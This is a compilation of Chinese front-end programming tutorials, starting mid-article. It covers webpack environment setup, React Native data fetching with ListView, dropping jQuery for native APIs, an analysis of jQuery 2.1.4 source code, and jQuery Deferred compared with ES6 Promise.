在webpack.config.js使用process.env.NODE_ENV进行判断
在package.json里面的script设置环境变量，注意mac与windows的设置方式不一样

"scripts": {
    "publish-mac": "export NODE_ENV=prod&&webpack -p --progress --colors",
    "publish-win":  "set NODE_ENV=prod&&webpack -p --progress --colors",
    "dev-mac": "export NODE_ENV=dev&&webpack-dev-server",
    "dev-win":  "set NODE_ENV=dev&&webpack-dev-server
}

常用plugins


	代码热替换, HotModuleReplacementPlugin


	将css成生文件，而非内联，ExtractTextPlugin


	报错但不退出webpack进程，NoErrorsPlugin


	代码丑化，UglifyJsPlugin，开发过程中不建议打开


	多个 html共用一个js文件(chunk)，可用CommonsChunkPlugin


	清理文件夹，Clean


	调用模块的别名ProvidePlugin，例如想在js中用$，如果通过webpack加载，需要将$与jQuery对应起来




参考文章

＊ webpack使用优化


 React Native 基础练习指北（二）

作者：听海JamiE

来源： React Native 基础练习指北（二）



                    
承接上文《React Native 基础练习指北（一）》，我们来看看React Native如果通过接口获取线上数据并展示。




Tips: 如果使用cmd+R无法刷新效果，请检查index.ios.js的权限设置。


一、展示单条数据


通常我们会在require('react-native');后，写好储存API的变量（此处我们使用简单的API做演示）：


var REQUEST_URL = 'http://platform.sina.com.cn/sports_all/client_api?app_key=3571367214&_sport_t_=football&_sport_s_=opta&_sport_a_=teamOrder&type=213&season=2015&format=json';



这里我们暂时使用新浪体育2015年中超联赛信息的接口，可以得到中超16支球队2015赛季的相关信息（未经授权，悄悄的使用，打枪的不要）。


接下来，我们要添加一些初始化的状态，我们可以通过this.state.movies === null判断数据是否已经成功加载。将下面的代码加在render方法前面：


getInitialState: function() {
    return {
        teams: null,
    };
},



当react-native组件加载完成后，我们需要发送我们的请求。React会在react-native组件加载完成后，使用componentDidMount方法发送请求，并且只发送一次。


componentDidMount: function() {
    this.fetchData();
},



下面，我们需要添加fetchData方法，它是用来取回数据的。在React的工作流程中，setState会触发一次重绘，随后render方法会发现this.state.movies不再是null，你所需要做的就是使用this.setState({movies: data})。牢记在最后要使用done()，否则不会出现错误提示。


fetchData: function() {
    fetch(REQUEST_URL)
    .then((response) => response.json())
    .then((responseData) => {
        this.setState({
            teams: responseData.result.data,
        });
    })
    .done();
},



现在，我们需要修改render方法，从而当我们没有拿到数据时，渲染出一个loading视图，随后呈现出第一个球队信息。


render: function() {
    if (!this.state.teams) {
        return this.renderLoadingView();
    }

    var team = this.state.teams[11];
        return this.renderTeam(team);
},

renderLoadingView: function() {
    return (
        <View style={styles.container}>
            <Text>
                Loading teams...
            </Text>
        </View>
    );
},

renderTeam: function(team) {
    return (
        <View style={styles.container}>
            <Image
                source={{uri: team.logo}}
                style={styles.thumbnail}
            />
            <View style={styles.rightContainer}>
                <Text style={styles.name}>{team.team_cn}</Text>
                <Text style={styles.rank}>{team.team_order}</Text>
            </View>
        </View>
    );
}



现在，在iOS模拟器中cmd+R，在请求拿到返回数据之前，你会看到“Loading teams...”，随后会渲染出第一个球队信息。





二、展示数据列表


下面我们来看看如何把所有数据展示在ListView组件中，而不是仅仅展示一条数据。


首先我们在最上面定义React的时候加入ListView：


var {
    AppRegistry,
    Image,
    ListView,
    StyleSheet,
    Text,
    View
} = React;



接下来，我修改render方法，从而能够以列表方式展示出数据：


render: function() {
    if (!this.state.loaded) {
      return this.renderLoadingView();
    }

    return (
      <ListView
        dataSource={this.state.dataSource}
        renderRow={this.renderScoreboard}
        style={styles.listView} />
    );
  },



ListView可以判断哪些数据发生了改变，并在数据更新时，体现在列表中。


我们不难发现，我们使用了this.state中的dataSource。下一步在getInitialState返回的对象中添加空的dataSource。随后，我们讲数据存到dataSource中，我不再使用this.state.movies来避免数据重复加载，而是使用布尔值this.state.loaded来判断数据是否成功获取。


getInitialState: function() {
    return {
      dataSource: new ListView.DataSource({
        rowHasChanged: (row1, row2) => row1 !== row2,
      }),
      loaded: false,
    };
  },



下面是完善后的fetchData方法：


fetchData: function() {
    fetch(REQUEST_URL)
      .then((response) => response.json())
      .then((responseData) => {
        this.setState({
          dataSource: this.state.dataSource.cloneWithRows(responseData.result.data),
          loaded: true,
        });
      })
      .done();
  },



最后，我们把ListView的样式添加到styles对象中：


listView: {
    paddingTop: 20,
    backgroundColor: '#F5FCFF',
},
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 从零开始系列汇总

作者：justjavac

来源： 从零开始系列汇总



                    
程序员总爱重新发明轮子，于是做了个轮子汇总。



	从零开始写个编译器吧系列  (知乎专栏)


	从零开始写一个简单的操作系统  (伯乐在线)


	从零开始写JavaScript框架  (图灵社区)


	从零开始写jQuery框架  (蓝色理想 )


	从零开始nodejs系列文章  (粉丝日志)


	从零开始编写网络游戏 ( 英特尔® 开发人员专区)


	从零开始编写自己的C#框架 (博客园)


	如何从零开始写一个 Chrome 扩展？ (知乎)






如果你发现了或者创造了“从零开始”的文章，可以在底部留言，或者在 github 上 pull request。


github 地址：Programming-Alpha-To-Omega


 抛弃jQuery，拥抱原生JavaScript

作者：Cam

来源： 抛弃jQuery，拥抱原生JavaScript



                    
前端发展很快，现代浏览器原生 API 已经足够好用。我们并不需要为了操作 DOM、Event 等再学习一下 jQuery 的 API。同时由于 React、Angular、Vue 等框架的流行，直接操作 DOM 不再是好的模式，jQuery 使用场景大大减少。因此我们项目组在双十一后抽了一周时间，把所有代码中的 jQuery 移除。下面总结一下：

Why not jQuery

1. 模式变革

jQuery 代表着传统的以 DOM 为中心的开发模式，但现在复杂页面开发流行的是以 React 为代表的以数据/状态为中心的开发模式

应用复杂后，直接操作 DOM 意味着手动维护状态，当状态复杂后，变得不可控。React 以状态为中心，自动帮我们渲染出 DOM，同时通过高效的 DOM Diff 算法，也能保证性能。我们在 React 应用实践中也发现，大部分当你想直接操作 DOM 的时候，就意味着你可能做错了。

2. 不支持同构渲染

重构就是前后端运行同一份代码，后端也可以渲染出页面，这对 SEO 要求高的场景非常合适。由于 React 等流行框架天然支持，已经具有可行性。当我们在尝试把现有应用改成同构时，因为代码要运行在服务器端，但服务器端没有 DOM，所以引用 jQuery 就会报错。这也是要移除 jQuery 的迫切原因。同时不但要移除 jQuery，在很多场合也要避免直接操作 DOM。

3. 原生 API 足够好用

由于浏览器的历史原因，曾经的前端开发为了兼容不同浏览器怪癖，需要增加很多成本。jQuery 由于提供了非常易用的 API，屏蔽了浏览器差异，极大地提高了开发效率。这也导致很多前端只懂 jQuery。其实这几年浏览器更新很快，也借鉴了很多 jQuery 的 API，如 querySelector，querySelectorAll 和 jQuery 选择器同样好用，而且性能更优。

4. 性能

前端开发一般不需要考虑性能问题，但你想在性能上追求极致的话，一定要知道 jQuery 性能很差。原生 API 选择器相比 jQuery 丰富很多，如 document.getElementsByClassName 性能是 $(classSelector)  的 50 多倍！



测试链接：http://jsperf.com/jquery-vs-native-api

5. 时机成熟

差的浏览器（IE）已经淘汰的差不多了。

If We Didn't Spend So Much on IE Support, We Could Be Taking Vacations on Mars
Christian Alfoni



我们的主打产品现在有千万用户，因为我们一直引导用户升级浏览器，上个月统计 IE 9 以下用户只占不到 3%。但为了这 3% 的用户我们前端开发却增加了很多工作量，也限制了我们升级我们的架构，因此放弃支持他们利大于弊。当然这要根据产品来定，比如这是百度统计的国内浏览器占有率，IE8 竟然还有 22%。有些产品可以为了保证用户体验，在旧的浏览器上投入很大成本，甚至做到了极致。其实我觉得产品更应该做的是引导用户升级浏览器。微软也宣布 2016年1月12号停止支持 IE 11 以下浏览器，继续使用旧浏览器就会有安全风险，我们更应该主动引导，只要产品有足够吸引力，大部分用户升级并不困难。



数据来源 百度统计

下面是国际上 IE 占有率，IE8 已经跌出前 10，IE 11 比较多，还好支持他们并不难。



数据来源 W3 Counter

如何移除 jQuery

1. 替换代码

移除 jQuery 可以很顺利，我们把整个过程详细整理了，并开源。

打开 https://github.com/oneuijs/You-Dont-Need-jQuery 对 API 查找替换即可。

同时我们简单封装了一些方法：


	oui-dom-utils 来做选择器和样式相关


	oui-dom-events 来做 Event，支持命名空间和事件代理




刚去了 jQuery 又引了新的库，这不是玩我吗？？其实以上两个库很简单，只是常用方法的简单封装，建议你看一下代码。你当然可以不用。

以上的库都用于我们的生产环境，我们会长期维护，保证更新。

2. 旧浏览器自动跳转

代码替换后，当用户用旧浏览器打开时，你还要做一个跳转，把用户定位到提示页面，提示用户下载升级浏览器。IE9 以下浏览器都支持条件判断语句，可以在 </head> 标签结束前添加如下代码做自动跳转

<!--[if lte IE 9]>
  <script>if (!/update\.htm/.test(location.href)) window.location = '//abc.com/update.htm'; </script>
<![endif]-->

总结

本文并不是强迫你一定要移除 jQuery，jQuery 为支持旧浏览器节省了很多成本。但条件成熟的情况下，移除 jQuery，参照 You Don't Need jQuery 拥抱原生 JavaScript 能同样保证开发效率，也可以给产品带来更好的性能，同时也能提高开发者水平。

原发于我的博客，原文地址：https://github.com/camsong/blog/issues/4




 浅析jQuery整体框架与实现（下） 

作者：trigkit4

来源： 浅析jQuery整体框架与实现（下） 



                    
前言

分析源码的过程总是成就感与挫败感相伴的，尤其是jquery这样庞大且晦涩难懂的源码，本文承接上一篇：浅析jQuery整体框架与实现（上），继续做更细致些的分析，上篇文章距离现在已经大半年了，本来是只打算写一篇，做个样子的，但看到那么多点赞和收藏的，于是架不住大家的热情，就偷偷把标题改了下，预示着还有下文。上篇文章分析的是jquery-1.7.1，这次分析下最新版的jquery-2.1.4吧

    (typeof window !== "undefined" ? window : this, function( window, noGlobal ) {
    
    var arr = [];//
    
    var slice = arr.slice;
    
    var concat = arr.concat;
    
    var push = arr.push;
    
    var indexOf = arr.indexOf;
    
    var class2type = {};
    
    var toString = class2type.toString;
    
    var hasOwn = class2type.hasOwnProperty;
    
    var support = {};
})

以上代码主要是让后续代码变得更加简洁，主要是数组和对象的一些原生方法。

class2type初始化后的结构如下：

{ 
"[object Array]": "array" 
"[object Boolean]": "boolean" 
"[object Date]": "date" 
"[object Function]": "function" 
"[object Number]": "number" 
"[object Object]": "object" 
"[object RegExp]": "regexp"
"[object String]": "string"
}


构建一个空数组，该数组具有length,prototype和constructor属性：

<!--length属性、prototype属性、constructor属性-->
<script type="text/javascript">
    var arr = [];//字面量不会调用Array构造函数
    
    alert(arr.length);//o
    alert(Array.prototype.push(1));//1
    alert(arr.constructor);//function Array() {[native code]}
</script>


73行开始：

var jQuery = function( selector, context ) {    //定义类 
    
        return new jQuery.fn.init( selector, context );//返回选择器的实例  
    },

当我们调用jQuery的时候会返回new init()的结果而不是直接new jQuery()

原型属性和方法

原型属性和方法从92行开始源码如下：

 // 原型属性和方法
jQuery.fn = jQuery.prototype = {

    jquery: version,//版本号

    constructor: jQuery,//指向构造函数jQuery

    selector: "",//从一个空的选择器开始

    length: 0,//指定默认的jQuery对象的长度为0

    toArray: function() {
        return slice.call( this );
    },

    
110 get: function( num ) {
111        return num != null ?
112
113            
114            ( num < 0 ? this[ num + this.length ] : this[ num ] ) :
115
116            
117            slice.call( this );
118    },

122    pushStack: function( elems ) {
123
124        
125        var ret = jQuery.merge( this.constructor(), elems );
126
127
128        ret.prevObject = this;
129        ret.context = this.context;
130
131        return ret;
    },

    
    each: function( callback, args ) {
        return jQuery.each( this, callback, args );
    },

    map: function( callback ) {
        return this.pushStack( jQuery.map(this, function( elem, i ) {
            return callback.call( elem, i, elem );
        }));
    },

    slice: function() {
        return this.pushStack( slice.apply( this, arguments ) );
    },

    first: function() {
        return this.eq( 0 );
    },

    last: function() {
        return this.eq( -1 );
    },

    eq: function( i ) {
        var len = this.length,
            j = +i + ( i < 0 ? len : 0 );
        return this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] );
    },

    

    
    push: push,
    sort: arr.sort,
    splice: arr.splice
};


.toArray()

.toArray()将当前jQuery对象转换成真正的数组，执行时通过方法call()和apply()指定方法执行的环境，即关键字this所引用的对象.

slice.call( this ) == [].slice.call(this);


也就是说该方法在执行时，会将原本属于数组对象的slice方法交给当前执行环境（this所引用的对象）的对象去处理。

看下面一个实例：

 function add() {
//    this.name = "math";
    alert(this.name);
}

//使用new function 定义JavaScript中的用户自定义对象
var sub = new function (){
    this.name = "English";
    alert(this.name);//English
};


add.call(sub);//English,sub调用了add方法，并将sub对象替换为add对象


.get

.get([index])：中括号表示可选。该方法返回当前jQuery对象中指定位置的元素或包含了全部元素的数组。如果指定参数index，则返回一个单独的元素；参数index从0开始，并且支持负数，负数表示从末尾开始算起。

114行首先判断num是否小于0，则用length+num重新计算下标，然后用[]获取指定位置的元素。如果num大于等于0，则直接返回指定位置的元素。否则调用[].slice.call(this)返回所有元素，存入空数组里。

pushStack

pushStack(elems):该原型方法创建一个空的jQuery对象，然后把DOM元素集合放入这个jQuery对象中，并保留对当前jQuery对象的引用。

125行：首先构造一个新的空jQuery对象ret，this.constructor指向构造函数jQuery()，然后把参数elems 合并到this.constructor并赋给新的jQuery对象ret

131行：最后返回新的jQuery对象ret.

关于merge方法：

merge: function( first, second ) {
        var len = +second.length,
            j = 0,
            i = first.length;

        for ( ; j < len; j++ ) {
            first[ i++ ] = second[ j ];
        }

        first.length = i;

        return first;
    },

.end()

.end():该方法结束当前链条中最近的筛选操作，并将匹配元素集合还原为之前的状态。相关代码如下：

166    end: function() {
167                return this.prevObject || this.constructor(null);
168            },
    

167行：返回前一个jQuery对象，如果属性prevObject不存在，则构建一个空的jQuery对象返回。

.pushStack()方法用于入栈，.end()方法用于出栈。

.slice()

.slice()：该方法先使用[].slice从当前jQuery对象中获取指定范围的子集，再调用方法.pushStack()把子集转换成jQuery对象

调用关系

在javascript的世界中一共有四种上下文调用方式：方法调用模式、函数调用模式、构造器调用模式、apply调用模式：

☑  jQuery.extend调用的时候上下文指向的是jQuery构造器

☑  jQuery.fn.extend调用的时候上下文指向的是jQuery构造器的实例对象了


DOM遍历 Traversing

DOM遍历有如下3个核心函数：

| jQuery.dir( elem, dir, until )       | 从一个元素出发，迭代检索某个方向上的所有元素并记录，直到遇到document对象或遇到until匹配的元素        |  
| ------------- |:-------------:|  
| jQuery.nth( cur, result, dir, elem )      | 从一个元素出发，迭代检索某个方向上的第N个元素|  
| jQuery.sibling( n, elem )     |元素n的所有后续兄弟元素，包含n，不包含elem       

其中elem是dom对象, dir是迭代方向，可选值：parentNode 、nextSibling、 previousSibling ，until是截至条件

jQuery.dir的整个运行过程是循环查找elem的dir的属性, 直到没有后续元素 或者找到了document根节点(elem.nodeType !== 9) , 最后再将所有查找到的元素放到数组中返回。



jQuery.each({
    //父元素
    parent: function( elem ) {
        var parent = elem.parentNode;
        return parent && parent.nodeType !== 11 ? parent : null;
    },
    //祖先元素
    parents: function( elem ) {
        return jQuery.dir( elem, "parentNode" );//检索所有父元素，直至document
    },
    parentsUntil: function( elem, i, until ) {
        return jQuery.dir( elem, "parentNode", until );
    },
    next: function( elem ) {
        return sibling( elem, "nextSibling" );
    },
    prev: function( elem ) {
        return sibling( elem, "previousSibling" );
    },
    nextAll: function( elem ) {
        return jQuery.dir( elem, "nextSibling" );
    },
    prevAll: function( elem ) {
        return jQuery.dir( elem, "previousSibling" );
    },
    nextUntil: function( elem, i, until ) {
        return jQuery.dir( elem, "nextSibling", until );
    },
    prevUntil: function( elem, i, until ) {
        return jQuery.dir( elem, "previousSibling", until );
    },
    siblings: function( elem ) {
        return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem );
    },
    children: function( elem ) {
        return jQuery.sibling( elem.firstChild );// 第一个子元素的所有兄弟元素
    },
    contents: function( elem ) {
        return elem.contentDocument || jQuery.merge( [], elem.childNodes );


     }
},function( name, fn ) {
    // 公开方法，模板函数
    jQuery.fn[ name ] = function( until, selector )  { ... };
});




jQuery.each( object, callback ) ;//callback(键,值)
$.each(array,callback);//callback(索引,索引值)


jquery.extend()

    jQuery.extend({
        dir: function( elem, dir, until ) {
            var matched = [],
                truncate = until !== undefined;
    
            while ( (elem = elem[ dir ]) && elem.nodeType !== 9 ) {
                if ( elem.nodeType === 1 ) {
                    if ( truncate && jQuery( elem ).is( until ) ) {
                        break;
                    }
                    matched.push( elem );
                }
            }
            return matched;
        },
        
        ////返回n的所有兄弟节点，不包括elem
        sibling: function( n, elem ) {
            var matched = [];//定义空数组，用来保存查找到的元素
    
            for ( ; n; n = n.nextSibling ) {//语句1可为空
                if ( n.nodeType === 1 && n !== elem ) {
                    matched.push( n );
                }
            }
    
            return matched;
        }
    });


API的解释

parent API 返回父节点并且当父节点的节点类型不为DocumentFragment（不属于文档树，继承的 parentNode 属性总是 null） 节点的话，就直接返回父节点，否则就返回null。

parents API 通过jQuery.dir循环查找elem元素的所有父节点（parentNode），直至document，然后将其返回。

sibling（不同于siblings API）有两个参数， n是起始dom对象, elem是结束dom对象。它通过不断寻找nextSibling, 直到找到非element的对象(n.nodeType === 1) 或者找到了elem为止,，然后将所有查找到的兄弟元素放到数组中返回。值得注意的是，sibling并不是jquery的一个对外提供的API，而是内部使用的，siblings才是对外提供的API

next API 通过sibling方法来获取当前节点的下个元素节点，同理prev API。

siblings API 利用sibling方法，先通过父元素的第一个子元素，然后不断往下找下一个紧邻元素，判断剔除自己。 

children API 也是利用sibling方法，来引用所有子元素。

DOM操作

jQuery针对DOM操作的插入方法有如下10种：

append、prepend、before、after、replaceWith

appendTo、prependTo、insertBefore、insertAfter、replaceAll


核心函数domManip

.domManip()：第一个参数是arguments，第二个参数是回调函数


args：待插入的DOM元素或HTML代码
callback 回调函数，执行格式为callback.call (目标元素即上下文, 待插入文档碎片/单个DOM元素 )

将html转化成dom：

if ( l ) {
            fragment = jQuery.buildFragment( args, this[ 0 ].ownerDocument, false, this );
            first = fragment.firstChild;

            if ( fragment.childNodes.length === 1 ) {
                fragment = first;
            }
}


append和prepend

相关源码（5204行开始）如下：

    jQuery.fn.extend({
        
        append: function() {
            return this.domManip( arguments, function( elem ) {
                if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
                    var target = manipulationTarget( this, elem );
                    target.appendChild( elem );
                }
            });
        },
    
        prepend: function() {
            return this.domManip( arguments, function( elem ) {
                if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
                    var target = manipulationTarget( this, elem );
                    target.insertBefore( elem, target.firstChild );
                }
            });
        },
})


jQuery.fn.extend()函数用于为jQuery扩展一个或多个实例属性和方法(主要用于扩展方法)。

append API是被选元素的结尾（仍然在内部）插入指定内容。

text()和html()

text: function( value ) {
        return access( this, function( value ) {
            return value === undefined ?
                jQuery.text( this ) :
                this.empty().each(function() {
                    if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {
                        this.textContent = value;
                    }
                });
        }, null, value, arguments.length );
    },

html API 有点长，这里就不列出来了。access()方法用来判断key和value值的不同类型。并为.attr(),.prop,.css()提供支持

队列 Queue

我们知道，队列的特点是先进先出，即最先插入的元素最先被删除，有别于栈的先进后出。队列在jQuery源码中，主要用于动画队列中。从6713行处开始到6730行结束的源码如下：

animate: function( prop, speed, easing, callback ) {
        var empty = jQuery.isEmptyObject( prop ),//empty是布尔值
            optall = jQuery.speed( speed, easing, callback ),//修正参数
            doAnimation = function() {

                var anim = Animation( this, jQuery.extend( {}, prop ), optall );

                
                if ( empty || data_priv.get( this, "finish" ) ) {
                    anim.stop( true );
                }
            };
            doAnimation.finish = doAnimation;

        return empty || optall.queue === false ?
            this.each( doAnimation ) :
            this.queue( optall.queue, doAnimation );
    },


其中isEmptyObject()方法的源码如下：

isEmptyObject: function( obj ) {
        var name;
        for ( name in obj ) {
            return false;
        }
        return true;
    },


从源码中可见，通过for…in语句遍历对象属性并返回布尔值。

 console.log(jQuery.isEmptyObject({}));//true


为什么要引入队列？

我们可能已习惯于线性地编写代码，而事实上，对于js编程，比如setTimeout，CSS3 Transition/Animation，ajax，dom的绘制，postmessage，Web Database等等，大量异步操作所带来的回调函数会把我们的代码逻辑弄得支离破碎的。

所以，引入队列可以被认为是允许一系列函数被异步地调用而不会阻塞程序

类型检测

jQuery类型检测的方法主要是如下几个：

jQuery.isFunction( obj )
jQuery.isArray( obj )
jQuery.isWindow( obj )
jQuery.isNumeric( value )
jQuery.type( obj )
jQuery.isPlainObject( object )
jQuery.isEmptyObject( object )


jQuery.type

    type: function( obj ) {
        if ( obj == null ) {
            return obj + "";
        }
         
305            return typeof obj === "object" || typeof obj === "function" ?
306                class2type[ toString.call(obj) ] || "object" :
307                typeof obj;//
308        },


jQuery.type( obj ) 判断参数类型，如果参数是undefined祸null，则返回"undefined"或"null"；如果参数是js内部对象，则返回对应的字符串名称。

305~307行：首先用typeof检测参数数据类型，如果是Object或function类型，则利用Object的原型方法toString()获取参数obj的字符串表示，或直接一律返回“Object”，否则直接typeof 参数的数据类型返回

console.log(typeof {});//"object"，带双引号


Object.prototype.toString.call(true);//"[object Boolean]"
{}.toString === Object.prototype.toString;//true


其中，jQuery.isFunction(obj)用于判断传入的参数是否是函数 ，该方法依赖于jQuery.type(obj)，该方法通过返回是否是 "function"来实现的

jQuery.isWindow

261~263行源码如下：

isWindow: function( obj ) {
        return obj != null && obj === obj.window;
    },


isWindow(obj) 是用来判断传入参数是不是window对象，首先判断参数是否不为null然后利用等性运算符判断参数对其自身的引用

$.isWindow(window);//true
$.isWindow(document);//false
$.isWindow(iframe);//true 


jQuery.isNumeric

265~271行源码如下：

isNumeric: function( obj ) {
        
        return !jQuery.isArray( obj ) && (obj - parseFloat( obj ) + 1) >= 0;
    },


isNumeric(obj)用来判断参数是否是数字，该函数和isWindow() 一样属于全局jQuery对象。

jQuery.isFunction

255~257行源码如下：

isFunction: function( obj ) {
        return jQuery.type(obj) === "function";
    },


jQuery事件

主要源码结构如下：

jQuery.event = {
    global : {},
    //绑定事件句柄
    add : function(){},
    //移除
    remove : function(){},
    // 触发
    trigger : function(){},
    //分派（执行）事件处理函数
    dispatch : function(){}
    // 执行
    handlers : function(){},
    props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
    fixHooks: {},
    keyHooks: {},
    mouseHooks: {},
    //fix修正event对象
    fix : {},
    special: {
        load: {},
        focus: {},
        blur: {},
        click: {},
        beforeunload :{},
    }
    simulate: {}
}


jQuery事件对象原型

jQuery.Event.prototype = {
    isDefaultPrevented: returnFalse,
    isPropagationStopped: returnFalse,
    isImmediatePropagationStopped: returnFalse,
    
    //阻止默认浏览器默认行为
    preventDefault: function() {
        var e = this.originalEvent;

        this.isDefaultPrevented = returnTrue;

        if ( e && e.preventDefault ) {
            e.preventDefault();
        }
    },
    
    //阻止事件传播
    stopPropagation: function() {
        var e = this.originalEvent;

        this.isPropagationStopped = returnTrue;

        if ( e && e.stopPropagation ) {
            e.stopPropagation();
        }
    },
    //立即停止事件传播
    stopImmediatePropagation: function() {
        var e = this.originalEvent;

        this.isImmediatePropagationStopped = returnTrue;

        if ( e && e.stopImmediatePropagation ) {
            e.stopImmediatePropagation();
        }

        this.stopPropagation();
    }
};


其他事件

jQuery.fn.extend({
    hover: function( fnOver, fnOut ) {
        return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
    },

    bind: function( types, data, fn ) {
        return this.on( types, null, data, fn );
    },
    unbind: function( types, fn ) {
        return this.off( types, null, fn );
    },

    delegate: function( selector, types, data, fn ) {
        return this.on( types, selector, data, fn );
    },
    undelegate: function( selector, types, fn ) {
         
        return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn );
    }
});


博主近来穷的吃土了，如果看完本文的内容后觉得对你有所帮助，想博主更新的勤一点，你不扫一下吗（留言你想学的前端技术，博主有空了就更新呦）
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Deferred 和 Promise

ES6 和 jQuery 都有 Deffered 和 Promise，但是略有不同。不过它们的作用可以简单的用两句话来描述


	Deffered 触发 resolve 或 reject


	Promise 中申明 resolve 或 reject 后应该做什么（回调）




在 jQuery 中

var deferred = $.Deferred();
var promise = deferred.promise();

在 ES6 中

var deferred = Promise.defer();
var promise= defered.promise;

MDN 宣布 Deferred 在 Gecko 30 中被申明为过期，不应该再使用，而应该用 new Promise() 来代替。关于 new Promise() 将在后面说明。



jQuery 的 Deferred/Promise

jQuery 中最常用的 Promise 对象是 $.ajax() 返回的，最常用的方法不是 then，而是 done、fail 和 always。除了 $.ajax() 外，jQuery 也提供了 $.get()、$.post() 和 $.getJSON() 等简化 Ajax 调用，它们返回的和 $.ajax() 的返回值一样，是个 Promise 对象。

实际上 $.ajax() 返回的是一个 jqXHR 对象。但 jqXHR 实现了 jQuery 的 Promise 接口，所以也是一个 Promise 对象。




done()、fail() 和 always()


done() 添加 deferred.resolve() 的回调，fail() 添加 deferred.reject() 的回调。所以在 Ajax 调用成功的情况下执行 done() 添加的回调，调用失败时执行 fail() 添加的回调。但不管成功与否，都会执行 always() 添加的回调。

这里 done()、fail() 和 always() 都是以类似事件的方式添加回调，也就意味着，不管执行多次次 done()、fail() 或 always()，它们添加的若干回调都会在符合的条件下依次执行。

一般情况下会这样执行 Ajax

// 禁用按钮以避免重复提交
$("#theButton").prop({
    disabled: true
});

// 调用 Ajax 提交数据，假设返回的是 JSON 数据
var jqxhr = $.ajax("do/example", {
    type: "post",
    dataType: "json",
    data: getFormData()
});

jqxhr.done(function(jsonObject) {
    // Ajax 调用成功
    console.log("success with data", jsonObject);
}).fail(function() {
    // Ajax 调用失败
    console.log("failed")
}).always(function() {
    // 不管成功与否，都会执行，取消按钮的禁用状态
    $("#theButton").prop({
        disabled: false
    });
});

上面是最普通最常用的用法，但是在一个项目中总是这么写 Ajax，有点累，稍微约定一下再封装一下就使用起来就会便捷得多。首先，假设我们定义返回的 JSON 是这样的格式：

{
    "code": "int, 0 表示成功，其它值表示出错",
    "message": "string, 附加的消息，可选",
    "data": "object，附加的数据，可选
}

然后为项目公共类 app 定义一个 ajax 方法

app.ajax = function(button, url, data) {
    if (button) {
        button.prop("disabled", true);
    }

    return $.ajax(url, {
        type: "post",
        dataType: "json",
        data: data
    }).done(function(json) [
        if (json.code !== 0) {
            showError(json.message || "操作发生错误");
        }
    }).fail(function() {
        showError("服务器错误，请稍后再试");
    }).always(function() {
        if (button) {
            button.prop("disabled", false);
        }
    });
};

// 调用
app.ajax("do/example", getFormData()).done(function(json) {
    if (json.code === 0) {
        // 只需要处理正确的情况啦
    }
});

不过还是有点不爽，如果不需要判断 json.code === 0 就更好了。这个……可以自己用一个 Deferred 来处理：

app.ajax = function(button, url, data) {
    if (button) {
        button.prop("disabled", true);
    }

    var deferred = $.Deferred();
    $.ajax(url, {
        type: "post",
        dataType: "json",
        data: data
    }).done(function(json) [
        if (json.code !== 0) {
            showError(json.message || "操作发生错误");
            deferred.reject();
        } else {
            deferred.resolve(json);
        }
    }).fail(function() {
        showError("服务器错误，请稍后再试");
        deferred.reject();
    }).always(function() {
        if (button) {
            button.prop("disabled", false);
        }
    });
    return deferred.promise();
};

// 调用
app.ajax("do/example", getFormData()).done(function(json) {
    // json.code === 0 总是成立
    // 正常处理 json.data 就好
});

注意，这里已经不是直接返回 $.ajax() 的结果 jqXHR 对象了，返回的是新建 Deferred 对象的 promise 对象。

复习了 Ajax，现在需要切入正题，找到 jQuery Promise 和 ES6 Promise 接近的地方——then()。

jQuery deferred.then()


在 jQuery 1.8 以前（不含 1.8，比如 jQuery 1.7.2），deferred.then() 就是一个把 done() 和 fail() 放在一起的语法糖。jQuery 在 1.8 版本的时候修改了 deferred.then() 的行为，使 then() 的行为与 Promise 的 then() 相似。从 jQuery 的文档可以看到 1.8 版本的变化——干掉了 callback，换成了 filter：

// version added: 1.5, removed: 1.8
deferred.then( doneCallbacks, failCallbacks )

// version added: 1.7, removed: 1.8
deferred.then( doneCallbacks, failCallbacks [, progressCallbacks ] )

// version added: 1.8
deferred.then( doneFilter [, failFilter ] [, progressFilter ] )

可以简单的把 callback 当作一个事件处理，值用于 callback 之后一般不会改变；而 filter 不同，一个值传入 filter 再从 filter 返回出来，可能已经变了。还是举个例子来说明

var deferred = $.Deferred();
var promise = deferred.promise();
promise.then(function(v) {
    console.log(`then with ${v}`);
}).done(function(v) {
    console.log(`done with ${v}`);
});
deferred.resolve("resolveData");

在 jQuery 1.7.2 中的结果

then with resolveData
done with resolveData

在 jQuery 1.8.0 中的结果

then with resolveData
done with undefined

从上面来看，jQuery 的 deferred.then() 语义和 ES6 Promise.then() 语义基本一致。如果把上面的 app.ajax 换成 then() 实现会有助于对 ES6 Promise 的理解。

app.ajax = function(button, url, data) {
    if (button) {
        button.prop("disabled", true);
    }

    return $.ajax(url, {
        type: "post",
        dataType: "json",
        data: data
    }).then(function(json) {
        if (json.code !== 0) {
            showError(json.message || "操作发生错误");
            return $.Deferred().reject().promise();
        } else {
            return $.Deferred().resolve(json).promise();
        }
    }, function() {
        showError("服务器错误，请稍后再试");
        deferred.reject();
    }).always(function() {
        if (button) {
            button.prop("disabled", false);
        }
    });
};

// 调用方式没变，用 done，也可以用 then
app.ajax("do/example", getFormData()).done(function(json) {
    // json.code === 0 总是成立
    // 正常处理 json.data 就好
});

从 jQuery Promise 到 ES6 Promise

上面的代码太长，提炼一下关键部分（示意，不能运行）

var promise = $.ajax();
promise.then(function(data) {
    // resolve
    return data.code
        ? new Promise().reject()
        : new Promise().resolve(data);
        
    // 如果没有错，就返回一个新的 promise，并使用 data 来 resolve，
    // 也可以直接返回 data，
    // 这样后面 then 的 resolve 部分才能收到数据
}, function() {
    // rejected
});

// 调用阶段
promise.then(function(data) {
    // 处理 data
});

也许你没注意到，其实上面的代码基本上就是 ES6 的 Promise 了。下面正式用 ES6 Promise 改写上面的示意代码

var promise = new Promise(function(resolve, reject) {
    $.ajax().then(resolve, reject);
    // 上面这句没看懂？那换成这样你一定会懂
    // $.ajax().then(function(data) {
    //     resolve(data);
    // }, function() {
    //     reject();
    // });
}).then(function(data) {
    return data.code
        ? Promise.reject()
        : Promise.resolve(data);

